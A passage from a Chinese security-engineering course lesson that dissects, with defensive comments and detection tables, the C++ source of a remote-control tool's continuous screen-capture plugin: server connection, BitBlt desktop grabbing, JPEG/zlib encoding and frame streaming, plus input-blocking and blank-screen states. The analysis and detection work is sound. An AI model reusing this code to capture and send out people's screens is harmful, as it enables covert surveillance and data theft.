第 31 课:主插件:高速屏幕
# 第 31 课:主插件:高速屏幕
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课只从安全工程角度阅读 主插件\高速屏幕。屏幕采集能力可以用于合法远程协助,但也可能暴露客户资料、聊天内容、浏览器页面、会议画面、凭据输入过程和业务系统操作。因此本课不讲如何使用远程屏幕能力,不讲控制步骤,不讲规避检测,只讲源码结构、数据链路、风险点和企业检测方法。
# 屏幕类专栏导读:三种当前桌面屏幕模式
第 24、25、26 课应放在一起读。它们都围绕“当前桌面/显示器画面采集”展开,但解决问题的方式不同:
| 专栏 | 模式 | 数据形态 | 更适合的合法场景 | 防御侧关注点 |
|---|---|---|---|---|
| 第 31 课:高速屏幕 | 当前桌面高频采集 | 首帧 + 后续 JPEG/zlib 帧 | 授权远程协助、运维排障、需要较快看到桌面变化的场景 | 高频 BitBlt、JPEG/zlib、长连接、剪贴板和控制命令 |
| 第 32 课:差异屏幕 | 当前桌面差异传输 | 首帧全量 + 后续变化块 | 带宽有限、画面变化较少、需要降低传输量的合法远程查看场景 | 双缓冲、差异比较、小包长连接、周期性图形采集 |
| 第 33 课:娱乐屏幕 | 当前桌面视频流 | BGRA/ARGB -> I420 -> H.264 NAL | 长时间、连续、类似视频流的屏幕共享或演示场景 | libyuv、x264、三线程队列、视频编码和持续上行 |
三者的共同点是都从当前桌面或显示器画面取数据,并把画面编码后发送;不同点是编码策略和传输形态。高速屏幕偏“快速发图”,差异屏幕偏“只发变化”,娱乐屏幕偏“视频流”。第 29 课的后台桌面与后台窗口不属于这三种当前桌面模式,它多了 Windows 桌面对象、后台 GUI 环境和窗口打印式采集。
# 1. 本课学习目标
读完本课,你应该能理解:
- 高速屏幕、差异屏幕、娱乐屏幕三种当前桌面屏幕模式的差异和适用场景。
- 为什么它叫“高速屏幕”:连续循环、变化扫描、JPEG 内存编码、zlib 封包和 FPS 节流如何共同服务低延迟。
CScreenQuickManager和CScreenSpy的分工。- 首帧、后续帧、位图信息、屏幕尺寸各自解决什么问题。
- 高速屏幕使用的是哪个 JPEG 库,以及为什么要引入 libjpeg-turbo。
BitBlt、DIBSection、JPEG、zlib 和TOKEN_*如何构成屏幕数据链。- 命令面里哪些能力属于高风险,例如屏蔽输入、黑屏、剪贴板和远程控制事件。
- 企业如何从图形 API、压缩库、持续上行流量和隐私权限中建立检测。
# 2. 源码目录和文件
| 路径 | 作用 |
|---|---|
主插件\高速屏幕\高速屏幕.sln | 高速屏幕插件解决方案 |
主插件\高速屏幕\高速屏幕\高速屏幕.cpp | 插件入口、socket 初始化、管理器创建 |
主插件\高速屏幕\高速屏幕\ScreenQuickManager.h | 管理器类、命令处理、发送接口 |
主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp | 帧发送、命令分发、工作线程、控制线程 |
主插件\高速屏幕\高速屏幕\ScreenSpy.h | 屏幕采集类定义 |
主插件\高速屏幕\高速屏幕\ScreenSpy.cpp | GDI 采集、JPEG 编码、变化区域扫描 |
主插件\高速屏幕\高速屏幕\CursorInfo.h | 光标信息辅助 |
主插件\高速屏幕\高速屏幕\turbojpeg.h、jpeglib.h | JPEG 编码相关依赖 |
依赖说明: 本课涉及 Windows GDI、JPEG 编码库和 zlib 压缩。GDI 负责从桌面设备上下文取图,jpeglib.h/turbojpeg.h 负责把位图压缩成 JPEG,zlib 负责进一步压缩发送数据。单独使用这些库并不等于风险,关键是它们和 BitBlt、持续工作线程、TOKEN_* 发送、长连接组合在一起。后续代码注释会把采集源、压缩出口和网络出口写在对应片段里。
# 2.1 JPEG 使用的是哪个库
高速屏幕这里使用的是 libjpeg-turbo 提供的 libjpeg 兼容接口。判断依据有两个:
ScreenSpy.h里包含的是jpeglib.h,源码调用的是jpeg_compress_struct、jpeg_mem_dest、jpeg_set_quality、jpeg_write_scanlines这一组 libjpeg API。- 同一个头文件里通过
#pragma comment(lib, "...")链接的是turbojpeg_32_*/turbojpeg_64_*静态库或导入库。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.h:1-19
// 防御分析注释:
// 1. 代码包含 jpeglib.h,说明业务代码走的是 libjpeg API 风格。
// 2. 但链接库名是 turbojpeg_*,说明实际依赖来自 libjpeg-turbo。
// 3. 这里没有直接调用 tjCompress2 这类 TurboJPEG API,而是使用兼容的 jpeg_* 函数。
// 4. 检测时不要只搜 tjCompress2,也要关注 jpeg_mem_dest、jpeg_write_scanlines 等函数。
#include "jpeglib.h"
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "turbojpeg_64_d.lib")
#else
#pragma comment(lib, "turbojpeg_64_r.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "turbojpeg_32_d.lib")
#else
#pragma comment(lib, "turbojpeg_32_r.lib")
#endif
#endif
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
为什么要引入这个库?原因主要有三点:
| 原因 | 对源码的意义 | 防御侧观察 |
|---|---|---|
| 屏幕原始位图太大 | 32 位桌面像素直接发送会占用大量带宽 | BitBlt 后紧跟 JPEG 编码 |
| 需要内存编码 | jpeg_mem_dest 可以把 JPEG 输出到内存,不必先保存文件 | 没有图片落盘也可能发生屏幕泄露 |
| 支持 BGRA/BGR 扩展 | JCS_EXT_BGRA 能接近 Windows DIBSection 的像素布局 | 图形采集和 JPEG 编码可以直接衔接 |
libjpeg-turbo 本身是常见合法图像库。风险来自组合关系:BitBlt 持续采集桌面,DIBSection 暴露像素内存,libjpeg-turbo 把像素压成 JPEG,zlib 再压缩封包,最后通过长连接持续上行。企业检测要看这条链路,而不是把某个 JPEG 库单独视为恶意。
这个插件的主线可以概括成:
插件入口 -> 网络连接 -> CScreenQuickManager -> CScreenSpy -> GDI 采集 -> JPEG/zlib 压缩 -> TOKEN_* 发送

# 3. 高速屏幕和普通截图的区别:为什么叫“高速屏幕”
普通截图通常是一次性动作:采集一张图,保存或展示。高速屏幕插件更接近“远程屏幕流”:
| 对比项 | 普通截图 | 高速屏幕插件 |
|---|---|---|
| 触发方式 | 用户主动或定时 | 会话建立后持续循环 |
| 数据形态 | 单张图片 | 首帧 + 后续帧 |
| 发送方式 | 本地保存或上传 | 持续封包发送 |
| 风险面 | 单次隐私泄露 | 持续隐私泄露和远程操控 |
| 检测重点 | 截图 API | 图形 API + 编码压缩 + 长连接 |
这里的“高速”不是说它一定能稳定跑到很高 FPS,也不是说画质一定最好,而是说它的源码设计目标偏向“尽快把当前桌面变化送出去”。新手可以从五个代码特征理解这个命名:
| 代码特征 | 为什么体现“高速” | 防御侧怎么看 |
|---|---|---|
WorkThread 进入 while (m_bIsWorking) 循环 | 会话打开后反复调用 sendNextScreen(),不是单次截图 | 看持续线程、持续图形 API、持续上行 |
ScanChangedRect(TRUE) 扫描变化区域 | 后续帧不总是整屏发送,而是把变化矩形打包 | 看周期性小包和变化区域元数据 |
BMP_JPG(..., &bitstream) 内存 JPEG 编码 | 直接在内存里把屏幕像素压成图像数据,避免先落盘 | 看 JPEG 编码函数和高熵二进制流 |
compress(...) 再做 zlib 压缩封包 | 发送前继续压缩,降低每帧传输体积 | 看 zlib 与图形采集、网络发送的组合 |
SetFps() / m_dwSleep 控制节奏 | 用休眠控制帧间隔,避免完全无节制循环 | 看是否存在可远程调整的采集频率 |
所以,本课说的“高速屏幕”可以理解为:面向低延迟远程查看的快速图像帧链路。它和第 32 课“差异屏幕”的区别是,差异屏幕更强调“尽量少传变化字节”;它和第 33 课“娱乐屏幕”的区别是,娱乐屏幕把屏幕当视频流,用 H.264 做帧间压缩。高速屏幕则更像“快速抓图、快速压缩、快速发包”的折中方案。
因此,防御侧不能只搜“截图函数”。它还要看帧率、变化扫描、压缩、网络、控制命令和剪贴板行为。
# 4. 插件入口:连接成功后创建屏幕管理器
入口结构和前面几个主插件类似:按配置创建 TCP/UDP socket,连接成功后创建管理器,并进入事件循环。
// 源码位置:主插件\高速屏幕\高速屏幕\高速屏幕.cpp:8-43
// 防御分析注释:连接成功后创建 CScreenQuickManager。
// 屏幕采集和网络连接绑定,是企业检测中的重要关联点。
struct plugInfo
{
char mark[30];
TCHAR szAddress[255];
DWORD szPort;
BOOL IsTcp;
BOOL RunDllEntryProc;
} MyInfo =
{
"plugmark",
_T("127.0.0.1"),
6666,
1,
0
};
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
CScreenQuickManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
这里最重要的不是 127.0.0.1 或 6666 这些示例配置,而是“连接成功后进入屏幕采集管理器”这个行为模型。
# 5. CScreenQuickManager:会话层状态机
CScreenQuickManager 负责三件事:
- 初始化屏幕采集对象。
- 接收命令并调整采集参数。
- 循环发送位图信息、屏幕尺寸、首帧和后续帧。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:12-32
// 防御分析注释:
// 1. CScreenQuickManager 是高速屏幕会话层,连接建立后就会创建。
// 2. m_fps 默认是 1,但后面可通过 COMMAND_SCREEN_FPS_QUICK 调整。
// 3. CScreenSpy 真正负责屏幕采集,管理器负责把采集结果封包发送。
// 4. WorkThread 是“高速屏幕”名字的核心证据之一:它会持续发送后续帧。
// 5. ControlThread 不采集画面,但维护黑屏、输入屏蔽、分辨率变化等高风险状态。
CScreenQuickManager::CScreenQuickManager(ISocketBase* pClient) : CManager(pClient)
{
// m_biBitCount 决定位图位深。这里默认 32 位,和后续 JPEG 的 BGRA 输入对应。
m_biBitCount = 32;
// m_fps 影响 CScreenSpy::SetFps() 里的帧间休眠。
// 从防御角度看,可被远端命令改变的采集频率是屏幕流的重要线索。
m_fps = 1;
// 创建屏幕采集对象。后续 BitBlt、DIBSection、JPEG 编码都在这个对象内完成。
m_pScreenSpy = new CScreenSpy(32);
// m_bIsWorking 控制 WorkThread 的 while 循环。
// 它为 true 时,sendNextScreen() 会不断被调用。
m_bIsWorking = true;
// 这几个状态本身不是截图所需,而是远程控制类能力的风险信号。
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
// 获取桌面 DC 和虚拟屏幕尺寸,用于判断后续是否发生分辨率变化。
m_hDeskTopDC = GetDC(GetDesktopWindow());
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
// 默认算法是 COMMAND_SCREEN_ALGORITHM_HOME,后续会走 JPEG + 变化矩形链路。
m_bAlgorithm = COMMAND_SCREEN_ALGORITHM_HOME;
// 工作线程负责“发屏幕帧”,控制线程负责“维护控制状态”。
// 两条线程同时出现,是持续远程屏幕会话而非一次性截图的证据。
m_hWorkThread = (HANDLE)_beginthreadex(NULL, 0, WorkThread, this, 0, NULL);
m_hBlankThread = (HANDLE)_beginthreadex(NULL, 0, ControlThread, this, 0, NULL);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
这段代码的安全信号应直接跟源码读:new CScreenSpy(32) 初始化屏幕采集对象,GetDC(GetDesktopWindow()) 获取桌面设备上下文,WorkThread 长期发送屏幕帧,ControlThread 维护黑屏、输入屏蔽和分辨率变化状态,m_fps 则会影响网络传输频率。
# 6. 帧发送时序:先描述数据链,再看函数
高速屏幕不是直接“抓一张图发走”。它先发送位图信息,再发送尺寸,然后发首帧,最后循环发后续帧。

源码对应的工作线程:
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:221-241
// 防御分析注释:
// 1. WorkThread 是高速屏幕的帧发送主循环。
// 2. 它先发送 BITMAPINFO 和尺寸,让主控端知道如何解释后续像素数据。
// 3. sendFirstScreen() 建立首帧基线,sendNextScreen() 进入持续更新。
// 4. while 循环没有业务动作完成即退出的语义,说明它是会话型屏幕流。
unsigned CScreenQuickManager::WorkThread(LPVOID lparam)
{
CScreenQuickManager* pThis = (CScreenQuickManager*)lparam;
// 第一步:发送位图头。没有它,接收端无法知道像素格式、位深和尺寸解释方式。
pThis->sendBITMAPINFO();
// 第二步:等待主控端窗口准备好。
// 防御侧可以把它理解为“远程查看窗口打开后才开始持续出图”。
if (pThis->m_bIsWorking)
pThis->WaitForDialogOpen();
// 第三步:发送虚拟屏幕位置和宽高。
pThis->sendsize();
// 第四步:发送首帧。首帧通常比后续帧更大,用于初始化远端画面。
pThis->sendFirstScreen();
pThis->m_bIsWorking = true;
// 第五步:持续发送后续帧。
// “高速”的关键就在这里:采集、压缩、发送会被连续重复执行。
while (pThis->m_bIsWorking)
{
pThis->sendNextScreen();
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
这段逻辑说明:如果企业侧看到未知进程持续调用屏幕采集 API,并且网络侧出现稳定上行数据,不应只看某一帧,而要看连续会话。
# 7. 位图信息和屏幕尺寸:主控渲染前的基础数据
sendBITMAPINFO 发送位图头,sendsize 发送屏幕坐标和尺寸。主控端没有这些元数据,就无法正确解释后续帧。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:140-163
// 防御分析注释:
// 1. BITMAPINFO 和屏幕尺寸不是画面内容,而是屏幕流的“解释说明书”。
// 2. 元数据小包后跟随大量压缩帧,是远程屏幕类协议的常见形态。
void CScreenQuickManager::sendBITMAPINFO()
{
// 实际源码函数名是 getBitmapInfoSize() / getBitmapInfo()。
// TOKEN_BITMAPINFO_QUICK 告诉接收端:后面的字节是位图头。
DWORD dwBytesLength = 1 + m_pScreenSpy->getBitmapInfoSize();
LPBYTE lpBuffer = new BYTE[dwBytesLength];
lpBuffer[0] = TOKEN_BITMAPINFO_QUICK;
memcpy(lpBuffer + 1, m_pScreenSpy->getBitmapInfo(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
SAFE_DELETE_AR(lpBuffer);
}
void CScreenQuickManager::sendsize()
{
RECT m_rect;
// iScreenX / iScreenY 是虚拟屏幕左上角。
// 多显示器或缩放场景下,这两个值可能不是 0。
m_rect.left = m_pScreenSpy->iScreenX;
m_rect.top = m_pScreenSpy->iScreenY;
// right / bottom 在这里存放宽高,不是传统 RECT 的右下绝对坐标。
// 读源码时要结合接收端解析方式理解。
m_rect.right = m_pScreenSpy->m_nFullWidth;
m_rect.bottom = m_pScreenSpy->m_nFullHeight;
LPBYTE lpBuffer = new BYTE[sizeof(RECT) + 1];
lpBuffer[0] = TOKEN_SIZE_QUICK;
memcpy(lpBuffer + 1, &m_rect, sizeof(RECT));
Send(lpBuffer, sizeof(RECT) + 1);
SAFE_DELETE_AR(lpBuffer);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
防御侧可以把这类元数据包作为屏幕流识别线索:小包先出现,随后进入压缩图像数据流。
# 8. 首帧与后续帧:屏幕流的核心出口
首帧通常用于初始化远端画面,后续帧用于更新变化内容。高速屏幕插件在发送前会进行压缩。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenQuickManager.cpp:165-219
// 防御分析注释:
// 1. 首帧和后续帧都会经过“采集 -> zlib 压缩 -> TOKEN 封包 -> Send”。
// 2. dwBytes 是压缩前长度,destLen 是 zlib 压缩后长度。
// 3. 包内保留 dwBytes,是为了让接收端知道解压后的原始大小。
// 4. 这里不落盘,说明屏幕数据从采集到发送都在内存里完成。
void CScreenQuickManager::sendFirstScreen()
{
DWORD dwBytes = 0;
// getFirstScreen() 返回的是已经被 CScreenSpy 组织好的首帧缓冲区:
// [算法标识][JPEG 全屏数据]。具体结构在 ScreenSpy.cpp 里形成。
LPVOID lpFirstScreen = m_pScreenSpy->getFirstScreen(&dwBytes);
if (dwBytes == 0 || lpFirstScreen == NULL)
return;
// zlib 官方建议目标缓冲区略大于源缓冲区。
// 防御侧可关注 compress 与屏幕采集 API 的同进程关联。
unsigned long destLen = (unsigned long)((double)dwBytes * 1.001 + 12);
LPBYTE pDest = new BYTE[destLen];
if (compress(pDest, &destLen, (byte*)lpFirstScreen, dwBytes) != Z_OK)
{
SAFE_DELETE_AR(pDest);
return;
}
DWORD dwBytesLength = 1 + destLen + 4;
LPBYTE lpBuffer = new BYTE[dwBytesLength];
// TOKEN_FIRSTSCREEN_QUICK 标识首帧。
// 后面 4 字节保存解压后的原始长度,再后面是 zlib 压缩数据。
lpBuffer[0] = TOKEN_FIRSTSCREEN_QUICK;
memcpy(lpBuffer + 1, &dwBytes, 4);
memcpy(lpBuffer + 5, pDest, destLen);
Send(lpBuffer, dwBytesLength);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE_AR(pDest);
}
void CScreenQuickManager::sendNextScreen()
{
DWORD dwBytes = 0;
// getNextScreen() 不是简单返回整屏截图。
// 它会写入算法、光标位置、光标类型,并扫描变化矩形。
LPVOID lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
if (dwBytes == 0 || !lpNetScreen)
return;
unsigned long destLen = (unsigned long)((double)dwBytes * 1.001 + 12);
LPBYTE pDest = new BYTE[destLen];
if (compress(pDest, &destLen, (byte*)lpNetScreen, dwBytes) != Z_OK)
{
SAFE_DELETE_AR(pDest);
return;
}
DWORD dwBytesLength = 1 + destLen + 4;
LPBYTE lpBuffer = new BYTE[dwBytesLength];
// TOKEN_NEXTSCREEN_QUICK 标识后续帧。
// 高频出现该 token 时,应结合 BitBlt/JPEG/zlib/外联做关联分析。
lpBuffer[0] = TOKEN_NEXTSCREEN_QUICK;
memcpy(lpBuffer + 1, &dwBytes, 4);
memcpy(lpBuffer + 5, (const char*)pDest, destLen);
Send(lpBuffer, dwBytesLength);
SAFE_DELETE_AR(lpBuffer);
SAFE_DELETE_AR(pDest);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
这里要抓住执行顺序:
CScreenSpy产生屏幕数据。compress做 zlib 压缩。- 前面加令牌和原始长度。
- 通过 socket 发送。
# 9. CScreenSpy:真正接触屏幕的类
CScreenSpy 负责屏幕设备上下文、内存位图、位图头、光标信息、JPEG 压缩和变化区域扫描。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.h:21-60
// 防御分析注释:
// 1. ScreenSpy 是真正接触桌面像素的类。
// 2. 它持有桌面 DC、内存 DC、DIBSection 像素指针和变化缓冲区。
// 3. 这些成员本身可用于合法图像处理,但和长连接、TOKEN 发送组合后风险显著升高。
class CScreenSpy
{
public:
// 首帧:通常用于接收端初始化完整画面。
LPVOID getFirstScreen(LPDWORD lpdwBytes);
// 后续帧:写入光标信息和变化矩形,降低每次发送的数据量。
LPVOID getNextScreen(LPDWORD lpdwBytes);
// 位图元数据。接收端需要根据它解释像素格式。
LPBITMAPINFO getBitmapInfo();
UINT getBitmapInfoSize();
// 调整编码算法、分层窗口捕获、帧率和 JPEG 质量。
void setAlgorithm(int bAlgorithm);
void setCaptureLayer(bool bIsCaptureLayer);
bool SwitchInputDesktop();
void SendUALITY(UINT UALITY);
void SetFps(int nfps);
public:
// m_hDeskTopDC:桌面图像来源。
// m_hLastMemDC / m_hCurrMemDC:上一帧和当前帧,用于比较变化区域。
// m_hRectMemDC:单个变化矩形的临时编码区域。
HDC m_hDeskTopDC, m_hLastMemDC, m_hCurrMemDC, m_hRectMemDC;
// DIBSection 让 GDI 位图和进程内存缓冲关联起来。
// m_lpvLastBits / m_lpvCurrBits 会被 ScanChangedRect() 逐像素比较。
HBITMAP m_hLastBitmap, m_hCurrBitmap;
LPVOID m_lpvLastBits, m_lpvCurrBits;
LPBITMAPINFO m_lpbmi_full, m_lpbmi_rect;
// m_changedBuffer 是最终交给管理器压缩发送的缓冲区。
LPBYTE m_changedBuffer;
UINT m_changedOffset;
// 这些私有工具函数负责构造位图头、写发送缓冲、复制变化块和 JPEG 编码。
LPBITMAPINFO ConstructBitmapInfo(int biBitCount, int biWidth, int biHeight);
void WriteChangedBuffer(LPBYTE lpData, int nCount);
void CopyChangedRect(LPRGNDATA lpRgnData, DWORD dwRgnSize);
int BMP_JPG(int width, int height, int cbit, int quality, void* input, void** output);
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
从安全角度看,CScreenSpy 不是普通图像处理类。它持有桌面 DC 和内存位图,持续把桌面画面变成可传输数据。
# 10. 屏幕采集与压缩管线
高速屏幕的数据管线可以画成这样:

对应源码先初始化设备上下文和 DIB:
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:22-75
// 防御分析注释:
// 1. 构造函数准备桌面 DC、内存 DC、DIBSection 和变化缓冲。
// 2. 这类初始化在截图/录屏/远程协助中都可能出现,不能单点定性。
// 3. 如果同进程随后持续 JPEG/zlib 压缩并外联发送,风险等级会上升。
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
// biBitCount 决定位图位深。默认 32 位时,后续 JPEG 输入按 BGRA 处理。
m_biBitCount = biBitCount;
if (!SelectInputWinStation())
{
// 获取当前桌面窗口和桌面 DC,后续 BitBlt 从这里取像素。
m_hDeskTopWnd = GetDesktopWindow();
m_hDeskTopDC = GetDC(m_hDeskTopWnd);
}
// SRCCOPY 表示普通源像素复制;开启 CAPTUREBLT 时可尝试包含分层窗口。
m_dwBitBltRop = SRCCOPY;
// m_dwSleep 是帧间最小间隔,用于控制发送节奏。
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
// DPI 缩放会影响屏幕尺寸换算。这里把逻辑分辨率转换到桌面实际分辨率。
HDC hdc = GetDC(NULL);
int client_width_now = GetDeviceCaps(hdc, HORZRES);
int client_width_old = GetDeviceCaps(hdc, DESKTOPHORZRES);
fDpiRatio = (float)client_width_old / (float)client_width_now;
ReleaseDC(NULL, hdc);
m_nFullWidth = (int)((float)(::GetSystemMetrics(SM_CXVIRTUALSCREEN)) * fDpiRatio);
m_nFullHeight = (int)((float)(::GetSystemMetrics(SM_CYVIRTUALSCREEN)) * fDpiRatio);
// 两个内存 DC 分别保存上一帧和当前帧。
// 这就是后续变化矩形扫描的基础。
m_hLastMemDC = ::CreateCompatibleDC(m_hDeskTopDC);
m_hCurrMemDC = ::CreateCompatibleDC(m_hDeskTopDC);
m_hRectMemDC = ::CreateCompatibleDC(m_hDeskTopDC);
m_lpbmi_full = ConstructBitmapInfo(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_lpbmi_rect = ConstructBitmapInfo(m_biBitCount, m_nFullWidth, m_nFullHeight);
// DIBSection 会把 GDI 位图映射到进程可读写内存。
// m_lpvLastBits / m_lpvCurrBits 后续会被直接比较。
m_hLastBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvLastBits, NULL, NULL);
m_hCurrBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvCurrBits, NULL, NULL);
::SelectObject(m_hLastMemDC, m_hLastBitmap);
::SelectObject(m_hCurrMemDC, m_hCurrBitmap);
// 变化缓冲区最终会被 sendFirstScreen/sendNextScreen 做 zlib 压缩并发送。
m_changedBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
m_changedOffset = 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
再看首帧和后续帧:
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:94-170
// 防御分析注释:
// 1. BitBlt 是这里的屏幕采集核心 API。
// 2. getFirstScreen() 建立首帧,getNextScreen() 建立持续变化帧。
// 3. 两者都写入 m_changedBuffer,随后由管理器层 zlib 压缩并发送。
LPVOID CScreenSpy::getFirstScreen()
{
// 每次采集前切到当前输入桌面,避免线程仍停留在旧桌面对象。
SelectInputWinStation();
// 重置输出缓冲区;后面所有 WriteChangedBuffer 都从头写。
m_changedOffset = 0;
// 第 1 字节写算法标识。接收端需要先知道后面的帧数据如何解释。
BYTE algorithm = (BYTE)m_bAlgorithm;
WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));
// 把整个虚拟屏幕复制到“上一帧”内存位图。
// 首帧不做矩形比较,因为接收端还没有基线画面。
::BitBlt(m_hLastMemDC, 0, 0, m_nFullWidth, m_nFullHeight,
m_hDeskTopDC, iScreenX, iScreenY, m_dwBitBltRop);
if (m_bAlgorithm == COMMAND_SCREEN_ALGORITHM_HOME)
{
void* bitstream = NULL;
int bitstreamlen = BMP_JPG(m_nFullWidth, m_nFullHeight,
m_biBitCount, m_SendUALITY, m_lpvLastBits, &bitstream);
// 首帧直接写入整屏 JPEG 数据。
if (bitstreamlen > 0)
WriteChangedBuffer((LPBYTE)bitstream, bitstreamlen);
if (bitstream)
free(bitstream);
}
return m_changedBuffer;
}
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
SelectInputWinStation();
m_changedOffset = 0;
BYTE algorithm = (BYTE)m_bAlgorithm;
WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));
// 后续帧先写光标位置。远端渲染时可以把光标状态同步过去。
POINT CursorPos;
GetCursorPos(&CursorPos);
CursorPos.x = (long)(fDpiRatio * (float)CursorPos.x);
CursorPos.y = (long)(fDpiRatio * (float)CursorPos.y);
CursorPos.x -= iScreenX;
CursorPos.y -= iScreenY;
WriteChangedBuffer((LPBYTE)&CursorPos, sizeof(POINT));
// 再写光标类型。光标变化本身也可能暴露用户当前操作状态。
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
WriteChangedBuffer(&bCursorIndex, sizeof(BYTE));
// 把当前桌面复制到“当前帧”位图。
::BitBlt(m_hCurrMemDC, 0, 0, m_nFullWidth, m_nFullHeight,
m_hDeskTopDC, iScreenX, iScreenY, m_dwBitBltRop);
if (m_bAlgorithm == COMMAND_SCREEN_ALGORITHM_HOME)
{
// 扫描当前帧和上一帧的差异矩形,并把变化区域编码进 m_changedBuffer。
ScanChangedRect(TRUE);
}
*lpdwBytes = m_changedOffset;
// 通过 m_dwSleep 做帧率节流。
// 这说明“高速”不是无限循环,而是在可调帧率内持续采集。
while (GetTickCount() - m_dwLastCapture < m_dwSleep)
Sleep(10);
InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
return m_changedBuffer;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
这里的检测线索是:
| 线索 | 含义 |
|---|---|
GetDesktopWindow + GetDC | 获取桌面画面来源 |
CreateCompatibleDC | 创建内存设备上下文 |
CreateDIBSection | 为位图像素建立内存缓冲 |
BitBlt | 把桌面画面复制到内存 |
GetCursorPos | 同步光标状态 |
| JPEG / zlib | 压缩图像后发送 |
# 11. 变化矩形和 JPEG 编码:高速链路如何减少传输量
高速屏幕不是每次都把完整桌面当原始位图发送。首帧建立完整画面,后续帧先扫描当前帧和上一帧的差异,再把变化矩形单独编码为 JPEG。这样做有两个直接效果:
- 屏幕变化少时,后续帧可以比整屏帧小很多。
- 接收端只要把变化矩形贴回原画面,就能看到连续更新。
这也是它叫“高速屏幕”的重要原因:它不是追求最高压缩率,而是用较轻的变化扫描和 JPEG 编码,在低延迟和带宽之间做折中。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp:321-407
// 防御分析注释:
// 1. ScanChangedRect() 比较上一帧和当前帧,找出变化区域。
// 2. CopyChangedRect() 把每个变化矩形复制出来并编码成 JPEG。
// 3. 缓冲区格式大致是:[算法][光标位置][光标类型][变化块...]
// 4. 每个变化块包含 JPEG 长度、JPEG 数据和 RECT 坐标。
BOOL CScreenSpy::ScanChangedRect(BOOL bCopyChangedRect)
{
LPDWORD p1, p2;
RECT changedRect;
HRGN hRgnChanged = NULL, hRgnCombine;
// DEF_YSTEP / DEF_XSTEP 让扫描按步长进行,避免逐像素全量处理过重。
// 这是一种速度优先的取舍:快,但变化区域可能会被扩张。
for (int y = m_nScanLine; y < m_nFullHeight; y += DEF_YSTEP)
{
// p1 指向上一帧,p2 指向当前帧。
// 两帧都来自 DIBSection,因此可以直接按内存比较。
p1 = (LPDWORD)((LPBYTE)m_lpvLastBits + (m_nFullHeight - 1 - y) * m_nPerLineDataSize);
p2 = (LPDWORD)((LPBYTE)m_lpvCurrBits + (m_nFullHeight - 1 - y) * m_nPerLineDataSize);
for (int x = 0; x < m_nFullWidth; )
{
if (*p1 == *p2)
{
p1++;
p2++;
x += m_nIncSize;
continue;
}
// 发现差异后,不只取一个像素,而是扩成一个小矩形。
// 这样可以减少碎片块数量,提升发送效率。
changedRect.left = max(x - DEF_XSTEP, 0);
